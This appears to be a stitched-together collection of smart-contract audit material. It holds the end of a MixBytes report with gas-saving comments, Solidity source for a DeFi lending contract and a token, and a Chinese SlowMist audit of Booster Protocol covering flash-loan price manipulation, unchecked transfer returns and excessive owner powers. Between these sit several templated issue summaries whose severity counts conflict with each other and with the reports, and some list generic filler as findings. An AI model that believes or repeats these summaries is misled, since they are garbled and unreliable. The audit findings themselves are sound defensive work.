higher than unlockedWant. Regarding resolver, to be solved in a future iteration as it would save one SLOAD. We consider these a nice to have and will be fixed before a future redeployment. 1 3CMT-2 Require without message File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION In the following function if revert occurs then user doesn't receive any information: Strategy.sol#L100 RECOMMENDATION We recommend to add message to require. CLIENT'S COMMENTARY Function is reserved for yearn team. Not to be used by any user. Saving gas on deployment. 1 4CMT-3 Possible gas saving File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION Function estimatedProfit used only here Strategy.sol#L148, contains conversion Strategy.sol#L566. Probably this conversion is redundant, it is possible to return estimatedProfit in sUSD and convert to want with sUSD balances at Strategy.sol#L149, in this case, we will save one call to _exchangeRates . RECOMMENDATION Rename estimatedProfit to estimatedProfitInSusd and return it in sUSD and move estimatedProfit into sUSDToWant . balanceOfWant().add( sUSDToWant( balanceOfSusdInVault().add(balanceOfSusd()).add(estimatedProfitInSusd()) ) ); CLIENT'S COMMENTARY We considered these a nice to have and will be fixed before a future redeployment. 1 5CMT-4 Unnecessary gas usage File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION At line: Strategy.sol#L252 we see the row uint256 unlockedWant = _unlockedWant(); and the same at line Strategy.sol#L260. It is redundant. RECOMMENDATION Move refresh unlockedWand value into previous if() block. CLIENT'S COMMENTARY We considered these a nice to have and will be fixed before a future redeployment. 1 63.ABOUT MIXBYTES MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build open-source solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy. BLOCKCHAINS Ethereum EOS Cosmos SubstrateTECH STACK Python Rust Solidity C++ CONTACTS https://github.com/mixbytes/audits_public https://mixbytes.io/ hello@mixbytes.io https://t.me/MixBytes https://twitter.com/mixbytes 1 7
Issues Count of Minor/Moderate/Major/Critical Minor: 3 Moderate: 4 Major: 1 Critical: 1 Minor Issues 2.1.1 Problem (one line with code reference) WRN-1 The approval value obtained in the constructor may not be enough for the long term of the smart contract (line 545) 2.1.2 Fix (one line with code reference) Increase the approval value to a higher amount (line 545) 2.2.1 Problem (one line with code reference) WRN-2 Default max_loss on underlying vault (line 645) 2.2.2 Fix (one line with code reference) Set the max_loss to a higher value (line 645) 2.3.1 Problem (one line with code reference) WRN-3 Handling losses from underlying vault (line 745) 2.3.2 Fix (one line with code reference) Add a mechanism to handle losses from underlying vault (line 745) Moderate Issues 2.4.1 Problem (one line with code reference) MJR-1 "Sandwich attack" on user Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Manual code study and "Reverse" research and study of the architecture of the code based on the source code only. 2.b Fix: Building an independent view of the project's architecture and Finding logical flaws. Moderate: None Major: None Critical: None Observations: Manual code check for vulnerabilities from the company's internal checklist. The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code. Conclusion: The audit was successful in finding no major or critical issues. Minor issues were identified and addressed. Issues Count of Minor/Moderate/Major/Critical - Critical: 0 - Major: 1 - Warning: 5 - Comment: 4 Minor Issues - No minor issues Moderate - No moderate issues Major 4.a Problem: Might lead to unintended behavior 4.b Fix: Implemented fix as soon as possible Critical - No critical issues Observations - Smart contract has been audited and several suspicious places were found - During audit no critical issues were identified Conclusion - One issue was marked major, as it might lead to unintended behavior
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import './interfaces/IStrategyLink.sol'; import './interfaces/ITenBankHall.sol'; import './interfaces/ISafeBox.sol'; // TenBank bank contract TenBankHall is Ownable, ITenBankHall, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; struct StrategyInfo { bool isListed; // if enabled, it will access IStrategyLink iLink; // strategy interface uint256 pid; // strategy poolid, multiple strategys pools } // safebox manager ISafeBox[] public boxInfo; mapping(address => uint256) public boxIndex; mapping(uint256 => bool) public boxlisted; // strategyinfo manager StrategyInfo[] public strategyInfo; mapping(address => mapping(uint256 => uint256)) public strategyIndex; // strategy + pid => strategyInfo index // blacklist mapping(address => bool) public blacklist; mapping(uint256 => bool) public emergencyEnabled; constructor() public { } // blacklist manager function setBlacklist(address _account, bool _newset) external onlyOwner { blacklist[_account] = _newset; } function setEmergencyEnabled(uint256 _sid, bool _newset) external onlyOwner { emergencyEnabled[_sid] = _newset; } // box manager function boxesLength() external view returns (uint256) { return boxInfo.length; } function addBox(address _safebox) external onlyOwner { require(boxIndex[_safebox] == 0, 'add once only'); boxInfo.push(ISafeBox(_safebox)); uint256 boxid = boxInfo.length.sub(1); boxlisted[boxid] = true; boxIndex[_safebox] = boxid; require(ISafeBox(_safebox).bank() == address(this), 'bank not me?'); } function setBoxListed(uint256 _boxid, bool _listed) external onlyOwner { boxlisted[_boxid] = _listed; } // Strategy manager function strategyInfoLength() external view returns (uint256 length) { length = strategyInfo.length; } function strategyIsListed(uint256 _sid) external view returns (bool) { return strategyInfo[_sid].isListed; } function setStrategyListed(uint256 _sid, bool _listed) external onlyOwner { strategyInfo[_sid].isListed = _listed; } function addStrategy(address _strategylink, uint256 _pid, bool _blisted) external onlyOwner { require(IStrategyLink(_strategylink).poolLength() > _pid, 'not strategy pid'); strategyInfo.push(StrategyInfo( _blisted, IStrategyLink(_strategylink), _pid)); strategyIndex[_strategylink][_pid] = strategyInfo.length.sub(1); require(IStrategyLink(_strategylink).bank() == address(this), 'bank not me?'); } function depositLPToken(uint256 _sid, uint256 _amount, uint256 _bid, uint256 _bAmount, uint256 _desirePrice, uint256 _slippage) public returns (uint256 lpAmount) { require(strategyInfo[_sid].isListed, 'not listed'); require(!blacklist[msg.sender], 'address in blacklist'); address lpToken = strategyInfo[_sid].iLink.getPoollpToken(strategyInfo[_sid].pid); IERC20(lpToken).safeTransferFrom(msg.sender, address(strategyInfo[_sid].iLink), _amount); address boxitem = address(0); if(_bAmount > 0) { boxitem = address(boxInfo[_bid]); } return strategyInfo[_sid].iLink.depositLPToken(strategyInfo[_sid].pid, msg.sender, boxitem, _bAmount, _desirePrice, _slippage); } function deposit(uint256 _sid, uint256[] memory _amount, uint256 _bid, uint256 _bAmount, uint256 _desirePrice, uint256 _slippage) public returns (uint256 lpAmount) { require(strategyInfo[_sid].isListed, 'not listed'); require(!blacklist[msg.sender], 'address in blacklist'); address[] memory collateralToken = strategyInfo[_sid].iLink.getPoolCollateralToken(strategyInfo[_sid].pid); require(collateralToken.length == _amount.length, '_amount length error'); for(uint256 u = 0; u < collateralToken.length; u ++) { if(_amount[u] > 0) { IERC20(collateralToken[u]).safeTransferFrom(msg.sender, address(strategyInfo[_sid].iLink), _amount[u]); } } address boxitem = address(0); if(_bAmount > 0) { boxitem = address(boxInfo[_bid]); } return strategyInfo[_sid].iLink.deposit(strategyInfo[_sid].pid, msg.sender, boxitem, _bAmount, _desirePrice, _slippage); } function withdrawLPToken(uint256 _sid, uint256 _rate) external { return strategyInfo[_sid].iLink.withdrawLPToken(strategyInfo[_sid].pid, msg.sender, _rate); } function withdraw(uint256 _sid, uint256 _rate) external { return strategyInfo[_sid].iLink.withdraw(strategyInfo[_sid].pid, msg.sender, _rate); } function emergencyWithdraw(uint256 _sid) external { require(emergencyEnabled[_sid], 'emergency not enabled'); return strategyInfo[_sid].iLink.emergencyWithdraw(strategyInfo[_sid].pid, msg.sender); } function liquidation(uint256 _sid, address _account, uint256 _maxDebt) external { uint256 pid = strategyInfo[_sid].pid; if(_maxDebt > 0) { address baseToken = strategyInfo[_sid].iLink.getBaseToken(pid); IERC20(baseToken).safeTransferFrom(msg.sender, address(strategyInfo[_sid].iLink), _maxDebt); } strategyInfo[_sid].iLink.liquidation(pid, _account, msg.sender, _maxDebt); } function getBorrowAmount(uint256 _sid, address _account) external view returns (uint256 value) { value = strategyInfo[_sid].iLink.getBorrowAmount(strategyInfo[_sid].pid, _account); } function getDepositAmount(uint256 _sid, address _account) external view returns (uint256 value) { value = strategyInfo[_sid].iLink.getDepositAmount(strategyInfo[_sid].pid, _account); } function makeBorrowFrom(uint256 _pid, address _account, address _borrowFrom, uint256 _value) external override returns (uint256 bid) { // borrow from bank will check contract authority uint256 sid = strategyIndex[msg.sender][_pid]; require(address(strategyInfo[sid].iLink) == msg.sender, 'only call from strategy'); bid = ISafeBox(_borrowFrom).getBorrowId(msg.sender, _pid, _account, true); require(bid > 0, 'bid go run'); ISafeBox(_borrowFrom).borrow(bid, _value, msg.sender); } receive() external payable { revert(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20Capped.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract BOOToken is ERC20Capped, Ownable { constructor ( uint256 _totalSupply ) public ERC20Capped(_totalSupply) ERC20('Booster-Token', 'BOO') { } mapping(address => bool) public mintWhitelist; function setMintWhitelist(address _account, bool _enabled) external onlyOwner { mintWhitelist[_account] = _enabled; } function mint(address _account, uint256 _amount) external { require(mintWhitelist[msg.sender], 'not allow'); _mint(_account, _amount); } function burn(uint256 _amount) external onlyOwner { _burn(msg.sender, _amount); } }
智能合约安全审计报告目录 1前言..............................................................................................................................................................................3 2.审计方法.....................................................................................................................................................................3 3.项目背景.....................................................................................................................................................................4 3.1项目介绍..........................................................................................................................................................4 4.代码概述.....................................................................................................................................................................5 4.1合约可见性分析..............................................................................................................................................5 4.2合约信息........................................................................................................................................................16 4.3代码审计........................................................................................................................................................17 4.3.1严重漏洞............................................................................................................................................17 4.3.2高危漏洞............................................................................................................................................18 4.3.3中危漏洞............................................................................................................................................19 4.3.4低危漏洞............................................................................................................................................23 4.3.5增强建议............................................................................................................................................26 5.审计结果..................................................................................................................................................................31 5.1结论................................................................................................................................................................31 6.声明..........................................................................................................................................................................321前言 慢雾安全团队于2021年04月01日,收到Booster团队对BoosterProtocol安全审计的申请,根据项目特 点慢雾安全团队制定如下审计方案。 慢雾安全团队将采用“白盒为主,黑灰为辅”的策略,以最贴近真实攻击的方式,对项目进行安全审计。 慢雾科技DeFi项目测试方法: 黑盒测试 站在外部从攻击者角度进行安全测试。 灰盒测试 通过脚本工具对代码模块进行安全测试,观察内部运行状态,挖掘弱点。 白盒测试 基于项目的源代码,进行脆弱性分析和漏洞挖掘。 慢雾科技DeFi漏洞风险等级: 严重漏洞 严重漏洞会对项目的安全造成重大影响,强烈建议修复严重漏洞。 高危漏洞 高危漏洞会影响项目的正常运行,强烈建议修复高危漏洞。 中危漏洞 中危漏洞会影响项目的运行,建议修复中危漏洞。 低危漏洞低危漏洞可能在特定场景中会影响项目的业务操作,建议项目方自行评估和考虑这些问 题是否需要修复。 弱点 理论上存在安全隐患,但工程上极难复现。 增强建议 编码或架构存在更好的实践方法。 2.审计方法 慢雾安全团队智能合约安全审计流程包含两个步骤: 使用开源或内部自动化分析的工具对合约代码中常见的安全漏洞进行扫描和测试。 人工审计代码的安全问题,通过人工分析合约代码,发现代码中潜在的安全问题。 如下是合约代码审计过程中慢雾安全团队会重点审查的漏洞列表: (其他未知安全漏洞不包含在本次审计责任范围)重入攻击 重放攻击 重排攻击 短地址攻击 拒绝服务攻击 交易顺序依赖 条件竞争攻击 权限控制攻击 整数上溢/下溢攻击 时间戳依赖攻击 Gas使用,Gas限制和循环 冗余的回调函数 不安全的接口使用 函数状态变量的显式可见性 逻辑缺陷 未声明的存储指针 算术精度误差 tx.origin身份验证 假充值漏洞 变量覆盖 3.项目背景 3.1项目介绍 Booster是DeFi的一站式服务平台,用户可在Booster完成存款、借款、杠杆挖矿、跨链挖矿等一些列DeFi 行为。 项目官网地址: https://booster.farm/ 审计版本代码: https://github.com/boosterfarm/boosterProtocol/tree/946b15629c410d706856584f3aa04001d6a55bd2 已提供的文档: https://docs.booster.farm/ 修复版本代码: https://github.com/boosterfarm/boosterProtocol/tree/1d9fc8692cae442b94ec091e866ee5194e0d d3aa 由于修复版本中的代码包含项目方新增和迭代的功能代码,慢雾安全团队仅对发现的安全问题对应的修复代 码进行了review,新增代码和迭代修改的代码本次审计并未涉及。 4.代码概述 4.1合约可见性分析 在审计过程中,慢雾安全团队对核心合约的可见性进行分析,结果如下: ActionCompPools FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - <ReceiveEther> External Payable - poolLength External - - getPoolInfo External - - getPoolIndex External - - add External CanModifyState onlyOwner setRewardMaxPerBlock External CanModifyState onlyOwner setAutoUpdate External CanModifyState onlyOwner setAutoClaim External CanModifyState onlyOwner setRewardRestricted External CanModifyState onlyOwner setBooDev External CanModifyState - getBlocksReward Public - - pendingRewards Public - - pendingRewards Public - -totalRewards Public - - massUpdatePools Public CanModifyState - updatePool Public CanModifyState - onAcionIn External CanModifyState - onAcionOut External CanModifyState - onAcionClaim External CanModifyState - onAcionEmergency External CanModifyState - onAcionUpdate External CanModifyState - mintRewards External CanModifyState - deposit Internal CanModifyState - withdraw Internal CanModifyState - claimIds External CanModifyState - claim Public CanModifyState - _claim Internal CanModifyState - emergencyWithdraw Internal CanModifyState - safeTokenTransfer Internal CanModifyState - ActionPools FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - <ReceiveEther> External Payable - poolLength External - - getPoolInfo External - - getPoolIndex External - - add External CanModifyState onlyOwner setRewardMaxPerBlock External CanModifyState onlyOwner setAutoUpdate External CanModifyState onlyOwner setAutoClaim External CanModifyState onlyOwner setRewardRestricted External CanModifyState onlyOwner setBooDev External CanModifyState - getBlocksReward Public - - pendingRewards Public - - totalRewards Public - - massUpdatePools Public CanModifyState -updatePool Public CanModifyState - onAcionIn External CanModifyState - onAcionOut External CanModifyState - onAcionClaim External CanModifyState - onAcionEmergency External CanModifyState - onAcionUpdate External CanModifyState - mintRewards External CanModifyState - deposit Internal CanModifyState - withdraw Internal CanModifyState - claimIds External CanModifyState - claim Public CanModifyState - _claim Internal CanModifyState - emergencyWithdraw Internal CanModifyState - safesub Internal - - safeTokenTransfer Internal CanModifyState - BOOTimelock FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - quota Public - - unlock External CanModifyState - BOOToken FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState ERC20CappedERC20 setMintWhitelist External CanModifyState onlyOwner mint External CanModifyState - burn External CanModifyState onlyOwner SafeBoxCToken FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState SafeBoxCTokenImpl getCATPoolInfo External - -getCATUserAmount External - - getSource External - - setBlacklist External CanModifyState onlyOwner setCompAcionPool Public CanModifyState onlyOwner setBuyback Public CanModifyState onlyOwner setBorrowLimitRate External CanModifyState onlyOwner setBorrowMinAmount External CanModifyState onlyOwner setEmergencyRepay External CanModifyState onlyOwner setEmergencyWithdraw External CanModifyState onlyOwner setOptimalUtilizationRate External CanModifyState onlyOwner setStableRateSlope External CanModifyState onlyOwner supplyRatePerBlock External - - borrowRatePerBlock External - - borrowInfoLength External - - getBorrowInfo External - - getBorrowFactorPrewiew Public - - getBorrowFactor Public CanModifyState - _getBorrowFactor Public - - getBorrowTotal Public - - getDepositTotal Public - - getBaseTokenPerLPToken Public - - pendingSupplyAmount External - - pendingBorrowAmount Public - - pendingBorrowRewards Public - - deposit External CanModifyState nonReentrant _deposit Internal CanModifyState - withdraw External CanModifyState nonReentrant _withdraw Internal CanModifyState - claim External CanModifyState nonReentrant _claim Internal CanModifyState - getBorrowId Public - - getBorrowId External CanModifyState onlyBank borrow External CanModifyState onlyBank _borrow Internal CanModifyState -repay External CanModifyState - _repay Internal CanModifyState - emergencyWithdraw External CanModifyState nonReentrant emergencyRepay External CanModifyState nonReentrant update Public CanModifyState - _update Public CanModifyState - mintDonate Public CanModifyState nonReentrant tokenSafeTransfer Internal CanModifyState - SafeBoxCTokenETH FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState SafeBoxCTokenImplETH getCATPoolInfo External - - getCATUserAmount External - - getSource External - - setBlacklist External CanModifyState onlyOwner setCompAcionPool Public CanModifyState onlyOwner setBuyback Public CanModifyState onlyOwner setBorrowLimitRate External CanModifyState onlyOwner setBorrowMinAmount External CanModifyState onlyOwner setEmergencyRepay External CanModifyState onlyOwner setEmergencyWithdraw External CanModifyState onlyOwner setOptimalUtilizationRate External CanModifyState onlyOwner setStableRateSlope External CanModifyState onlyOwner supplyRatePerBlock External - - borrowRatePerBlock External - - borrowInfoLength External - - getBorrowInfo External - - getBorrowFactorPrewiew Public - - getBorrowFactor Public CanModifyState - _getBorrowFactor Public - - getBorrowTotal Public - - getDepositTotal Public - - getBaseTokenPerLPToken Public - -pendingSupplyAmount External - - pendingBorrowAmount Public - - pendingBorrowRewards Public - - deposit External CanModifyState nonReentrant _deposit Internal CanModifyState - withdraw External CanModifyState nonReentrant _withdraw Internal CanModifyState - claim External CanModifyState nonReentrant _claim Internal CanModifyState - getBorrowId Public - - getBorrowId External CanModifyState onlyBank borrow External CanModifyState onlyBank _borrow Internal CanModifyState - repay External CanModifyState - _repay Internal CanModifyState - emergencyWithdraw External CanModifyState nonReentrant emergencyRepay External CanModifyState nonReentrant update Public CanModifyState - _update Public CanModifyState - mintDonate Public CanModifyState nonReentrant tokenSafeTransfer Internal CanModifyState - SafeBoxCTokenImpl FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState ERC20 baseToken Public - - ctokenSupplyRatePerBlock Public - - ctokenBorrowRatePerBlock Public - - call_balanceOf Public - - call_balanceOfCToken_this Public - - call_balanceOfBaseToken_this Public CanModifyState - call_borrowBalanceCurrent_this Public CanModifyState - getBaseTokenPerCToken Public - - ctokenDeposit Internal CanModifyState -ctokenWithdraw Internal CanModifyState - ctokenClaim Internal CanModifyState - ctokenBorrow Internal CanModifyState - ctokenRepayBorrow Internal CanModifyState - SafeBoxCTokenImplETH FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState ERC20 <ReceiveEther> External Payable - baseToken Public - - ctokenSupplyRatePerBlock Public - - ctokenBorrowRatePerBlock Public - - call_balanceOf Public - - call_balanceOfCToken_this Public - - call_balanceOfBaseToken_this Public CanModifyState - call_borrowBalanceCurrent_this Public CanModifyState - getBaseTokenPerCToken Public - - ctokenDeposit Internal CanModifyState - ctokenWithdraw Internal CanModifyState - ctokenClaim Internal CanModifyState - ctokenBorrow Internal CanModifyState - ctokenRepayBorrow Internal CanModifyState - SafeBoxFilDa FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState SafeBoxCToken update Public CanModifyState - setFildaDepositPool Public CanModifyState onlyOwner setFildaBorrowPool Public CanModifyState onlyOwner checkFildaPool Internal - - deposit External CanModifyState nonReentrant withdraw External CanModifyState nonReentrant borrow External CanModifyState onlyBankrepay External CanModifyState - updatetoken Public CanModifyState - claim External CanModifyState nonReentrant StrategyMDex FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - getSource External - - poolLength External - - getCATPoolInfo External - - getCATUserAmount External - - getPoolInfo External - - getPoolCollateralToken External - - getPoollpToken External - - getBaseToken External - - getBorrowInfo External - - getTokenBalance_this Internal - - addPool Public CanModifyState onlyOwner resetApprove Public CanModifyState onlyOwner setCompAcionPool External CanModifyState onlyOwner setSConfig External CanModifyState onlyOwner setBuyback External CanModifyState onlyOwner setMiniRewardAmount External CanModifyState onlyOwner pendingRewards Public - - pendingLPAmount Public - - getBorrowAmount Public - - getBorrowAmountInBaseToken Public - - getDepositAmount External - - massUpdatePools External CanModifyState - updatePool Public CanModifyState - depositLPToken Public CanModifyState onlyBank deposit Public CanModifyState onlyBank makeBorrowBaseToken Internal CanModifyState - makeBalanceOptimalLiquidity Internal CanModifyState -makeBalanceOptimalLiquidityByAmount Internal CanModifyState - makeLiquidityAndDeposit Internal CanModifyState - makeLiquidityAndDepositByAmount Internal CanModifyState - withdrawLPToken External CanModifyState onlyBank withdraw Public CanModifyState onlyBank _withdraw Internal CanModifyState - makeWithdrawCalcAmount Public - - makeWithdrawRemoveLiquidity Internal CanModifyState - repayBorrow Public CanModifyState onlyBank emergencyWithdraw External CanModifyState onlyBank _emergencyWithdraw Internal CanModifyState - liquidation External CanModifyState onlyBank makeExtraRewards External CanModifyState - SafeBoxFilDaETH FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState SafeBoxCTokenETH update Public CanModifyState - setFildaDepositPool Public CanModifyState onlyOwner setFildaBorrowPool Public CanModifyState onlyOwner checkFildaPool Internal - - deposit External CanModifyState nonReentrant withdraw External CanModifyState nonReentrant borrow External CanModifyState onlyBank repay External CanModifyState - updatetoken Public CanModifyState - claim External CanModifyState nonReentrant StrategyConfig FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - setFeeGather External CanModifyState onlyOwner setReservedGather External CanModifyState onlyOwnergetBorrowFactor Public - - checkBorrowAndLiquidation Internal CanModifyState - setBorrowFactor External CanModifyState onlyOwner getLiquidationFactor Public - - setLiquidationFactor External CanModifyState onlyOwner getFarmPoolFactor External - - setFarmPoolFactor External CanModifyState onlyOwner getDepositFee External - - setDepositFee External CanModifyState onlyOwner getWithdrawFee External - - setWithdrawFee External CanModifyState onlyOwner getRefundFee External - - setRefundFee External CanModifyState onlyOwner getClaimFee External - - setClaimFee External CanModifyState onlyOwner getLiquidationFee External - - setLiquidationFee External CanModifyState onlyOwner StrategyMDexPools FunctionName Visibility Mutability Modifiers poolDepositToken Public - - poolRewardToken Public - - poolPending Public - - poolTokenApprove Internal CanModifyState - poolDeposit Internal CanModifyState - poolWithdraw Internal CanModifyState - poolClaim Internal CanModifyState - StrategyUtils FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - setSConfig External CanModifyState onlyOwner makeDepositFee External CanModifyState onlyOwnermakeFeeTransfer Internal CanModifyState - makeFeeTransferByValue Internal CanModifyState - makeWithdrawRewardFee External CanModifyState onlyOwner makeRefundFee External CanModifyState onlyOwner makeLiquidationFee External CanModifyState onlyOwner checkAddPoolLimit External - - checkDepositLimit External - - checkSlippageLimit External - - checkBorrowLimit Public - - checkBorrowGetHoldAmount Internal - - checkLiquidationLimit External - - makeRepay External CanModifyState onlyOwner getBorrowAmount External - - getBorrowAmount Internal - - getBorrowAmountInBaseToken External - - calcBorrowAmountInBaseToken Public - - transferFromAllToken Public CanModifyState onlyOwner transferFromToken Public CanModifyState onlyOwner optimalDepositAmount Public - - _optimalDepositA Internal - - getLPToken2TokenAmount Public - - getAmountOut Public - - getAmountIn Public - - getTokenOut Public CanModifyState onlyOwner getTokenIn Public CanModifyState onlyOwner getTokenInTo Internal CanModifyState - getMdexExtraReward Public CanModifyState - TenBankHall FunctionName Visibility Mutability Modifiers <Constructor> Public CanModifyState - setBlacklist External CanModifyState onlyOwner setEmergencyEnabled External CanModifyState onlyOwner boxesLength External - -addBox External CanModifyState onlyOwner setBoxListed External CanModifyState onlyOwner strategyInfoLength External - - strategyIsListed External - - setStrategyListed External CanModifyState onlyOwner addStrategy External CanModifyState onlyOwner depositLPToken Public CanModifyState nonReentrant deposit Public CanModifyState nonReentrant withdrawLPToken External CanModifyState nonReentrant withdraw External CanModifyState nonReentrant emergencyWithdraw External CanModifyState nonReentrant liquidation External CanModifyState nonReentrant getBorrowAmount External - - getDepositAmount External - - makeBorrowFrom External CanModifyState - <ReceiveEther> External Payable - 4.2合约信息 合约已经部署到Heco主网上,如下是已部署的合约名称及合约地址。 ContractName ContractAddress BOOTimelock 0xA59FFeF22b29a08D1bB0f39Bb211cefB163be2A4 BOOTimelock 0x79F17bd4a2DD6363aF0c752ba8c024304934fbA9 BOOPools 0xBa92b862ac310D42A8a3DE613dcE917d0d63D98c ActionPools 0xf80af22dfE727842110AE295a08CDc9b4344430F SafeBoxFilDa 0x8aee98bC67777d220bD5DBE2d3ECb22d765dCD91 SafeBoxFilDa 0xDD51428f162dcd92264b510D05B7c8bD276416Ba SafeBoxFilDaETH 0x53A83C2d5D3725dAe285EC85B58dD564d586F6b7 SafeBoxFilDa 0x0e908182AA6989be3Fe452DcF625127873f9231e SafeBoxFilDa 0x485E75ed3083CC1C3016D08eA049538b24094620 StrategyConfig 0x89F0AD04A3AA20187DD3777Bef7Acb66D036Da14 StrategyMDex 0x9AF4fa09C600598256fCF29DE1ca241A1677d4E1 TenBankHall 0xa61A4F9275eF62d2C076B0933F8A9418CeC8c670 BuybackBooToken 0xc1116948C1b3Befee21a05120dDa6a2e4dcE98f2 TokenOracle 0xb6Cd3fD256f357AD25dfF3520aE5256d27F26158 PriceCheckerLPToken 0x0b129Fe80e1b1FB00C60E14c312E99FCAEF01359TenMath 0xC818D8a1860B73a70897448Af0667C994005233E TenMath 0x5383912D31c7F250EcF0466E4552c1d7188ad5a4 StrategyUtils 0x10Ff27409928d8A6Ce2EB07f010c03e3AB4EdE2d 4.3代码审计 4.3.1严重漏洞 4.3.1.1闪电贷攻击风险 计算LP价格的时候采用的是根据LP可以兑换的单边token数量乘2来进行计算的,如果攻击者者采用大资 金或者使用闪电贷来改变池子中token的数量,此时采用单边token数量乘2会导致LP的价格被攻击者操 控,从而进行套利。 contracts/strategies/StrategyUtils.sol functiongetLPToken2TokenAmount(address_lpToken,address_baseToken,uint256_lpTokenAmount) publicviewreturns(uint256amount){ (uint256a,uint256b,)=IMdexPair(_lpToken).getReserves(); addresstoken0=IMdexPair(_lpToken).token0(); addresstoken1=IMdexPair(_lpToken).token1(); if(token0==_baseToken){ amount=_lpTokenAmount.mul(a).div(ERC20(_lpToken).totalSupply()).mul(2); }elseif(token1==_baseToken){ amount=_lpTokenAmount.mul(b).div(ERC20(_lpToken).totalSupply()).mul(2); } else{ require(false,'unsupportbaseTokennotinpairs'); } } makeExtraRewards函数会调用buyback函数,这里存在通过闪电贷操纵代币回购价格的问题。 contracts/strategies/StrategyMDex.sol functionmakeExtraRewards()external{ if(address(buyback)==address(0)){ return; }(addressmdxToken,uint256value)=utils.getMdexExtraReward(); uint256fee=value.mul(3e6).div(1e9); IERC20(mdxToken).transfer(msg.sender,fee); IERC20(mdxToken).approve(address(buyback),value.sub(fee)); buyback.buyback(mdxToken,value.sub(fee)); } contracts/utils/BuybackBooToken.sol functionbuyback(address_token,uint256_value)publicoverridereturns(uint256value){ uint256decimals=uint256(ERC20(_token).decimals()); if(_value<(10**decimals.div(4))){ return0; } ...... returnbuybackIn(_token,path,_value); } functionbuybackIn(address_token,address[]memory_path,uint256_value)internalreturns(uint256value){ IERC20(_token).approve(address(router),_value); uint256[]memoryresult=router.swapExactTokensForTokens(_value,0,_path,address(this),block.timestamp.add(60)); if(result.length==0){ return0; } uint256valueOut=TenMath.min(result[result.length-1], IERC20(booToken).balanceOf(address(this))); burnSource[_token]=burnSource[_token].add(_value); burnAmount[_token]=burnAmount[_token].add(valueOut); IERC20(booToken).transfer(lockedAddr,valueOut); } 修复状态:该问题在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本代码中进行了修 复。 4.3.2高危漏洞 4.3.2.1返回值检查缺失 safeTokenTransfer没有对转账的返回值进行判断,当_token采用类似if...else...的写法会有假充值问题。建议对_token.transfer(_to,value);的返回值进行判断,并且检查外部_token合约的安全性。 contracts/pools/ActionPools.sol,contracts/pools/ActionCompPools.sol functionsafeTokenTransfer(IERC20_token,address_to,uint256_amount)internalreturns(uint256value){ uint256balance=_token.balanceOf(address(this)); value=_amount>balance?balance:_amount; if(value>0){ _token.transfer(_to,value); } } 修复状态:该问题已经在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本中的代码修改 为safeTransfer,同时经过与项目方的沟通反馈,项目方在添加Pool的时候会保证rewardToken的安全性 并且不会有假充值的问题。 4.3.3中危漏洞 4.3.3.1权限过大问题 Owner用户添加Pool的权限,存在权限过大问题,Owner角色可以自己添加Pool偷挖薅奖励。建议将 Owner设置为timelock合约或采用治理的方式进行管理。 contracts/pools/ActionPools.sol,contracts/pools/ActionCompPools.sol functionadd(address_callFrom,uint256_callId, address_rewardToken,uint256_maxPerBlock)externalonlyOwner{ (addresslpToken,,uint256totalPoints,)= ICompActionTrigger(_callFrom).getCATPoolInfo(_callId); require(lpToken!=address(0)&&totalPoints>=0,'poolnotright'); poolInfo.push(PoolInfo({ callFrom:_callFrom, callId:_callId, rewardToken:IERC20(_rewardToken), rewardMaxPerBlock:_maxPerBlock, lastRewardBlock:block.number, lastRewardTotal:0, lastRewardClosed:0,poolTotalRewards:0, autoUpdate:true, autoClaim:false })); eventSources[_callFrom]=true; poolIndex[_callFrom][_callId].push(poolInfo.length.sub(1)); emitAddPool(poolInfo.length.sub(1),_callFrom,_callId,_rewardToken,_maxPerBlock); } Owner可以修改poolInfo的参数,这会影响挖矿的奖励,存在权限过大问题,建议将Owner权限移交给 timelock合约或社区治理合约,并使用事件对更改操作进行记录,便于社区用户进行审查。 contracts/pools/ActionPools.sol,contracts/pools/ActionCompPools.sol functionsetRewardMaxPerBlock(uint256_pid,uint256_maxPerBlock)externalonlyOwner{ poolInfo[_pid].rewardMaxPerBlock=_maxPerBlock; emitSetRewardMaxPerBlock(_pid,_maxPerBlock); } functionsetAutoUpdate(uint256_pid,bool_set)externalonlyOwner{ poolInfo[_pid].autoUpdate=_set; } functionsetAutoClaim(uint256_pid,bool_set)externalonlyOwner{ poolInfo[_pid].autoClaim=_set; } functionsetRewardRestricted(address_hacker,uint256_rate)externalonlyOwner{ require(_rate<=1e9,'maxis1e9'); rewardRestricted[_hacker]=_rate; emitSetRewardRestricted(_hacker,_rate); } functionsetBooDev(address_boodev)external{ require(msg.sender==boodev,'prevdevonly'); boodev=_boodev; } 